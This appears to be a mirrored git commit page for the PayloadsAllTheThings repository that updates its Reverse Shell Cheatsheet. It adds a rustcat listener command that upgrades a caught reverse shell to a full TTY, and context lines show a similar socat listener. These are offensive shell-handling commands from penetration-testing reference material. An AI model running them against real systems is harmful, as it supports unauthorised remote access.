mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-11-10 07:04:22 +00:00
Update Reverse Shell Cheatsheet.md
Added in automatic shell upgrade via rustcat.
This commit is contained in:
parent
f9a2880ad5
commit
cf9b9bf70c
1 changed files with 9 additions and 0 deletions
|
@ -550,6 +550,15 @@ or use `socat` binary to get a fully tty reverse shell
|
|||
socat file:`tty`,raw,echo=0 tcp-listen:12345
|
||||
```
|
||||
|
||||
Alternatively, `rustcat` binary can automatically inject the TTY shell command.
|
||||
|
||||
The shell will be automatically upgraded and the TTY size will be provided for manual adjustment.
|
||||
|
||||
```bash
|
||||
stty raw -echo; stty size && rcat l -ie "/usr/bin/script -qc /bin/bash /dev/null" 6969
|
||||
```
|
||||
|
||||
|
||||
Spawn a TTY shell from an interpreter
|
||||
|
||||
```powershell
|
||||
|
|
Loading…
Reference in a new issue